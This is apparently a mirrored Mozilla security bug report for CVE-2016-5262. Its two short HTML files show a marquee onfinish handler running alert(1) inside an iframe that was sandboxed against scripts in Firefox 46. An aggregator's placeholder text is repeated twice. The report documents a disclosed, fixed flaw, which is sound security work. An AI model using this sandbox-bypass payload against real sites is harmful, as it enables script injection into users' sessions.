XSS out of iframe sandbox, iframe disabled javascript. marquee
- Fixed in 8 days
- Paid in 29 days
- Disclosed after 8 days
Created attachment 8759064
security bug.zip
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Steps to reproduce:
1) create first file index.html with
<html>
<head></head>
<body>
<marquee loop=1 width=0 onfinish=alert(1)>
</body>
</html>
2) create second file iframe.html with
<html>
<body>
<iframe frameborder="0" sandbox="allow-same-origin" src="./index.html">
</iframe>
</body>
</html>
3) Open iframe.html at firefox last version 46.0.1
Actual results:
XSS. javascript executed.
At chrome and safari problem not occur.
Expected results:
XSS should not be executed
I think this issue is part of bug bounty program https://www.mozilla.org/en-US/security/client-bug-bounty/
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity XSS bug in DOM: Security. Mozilla made it public on 10 June 2016 as CVE-2016-5262.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.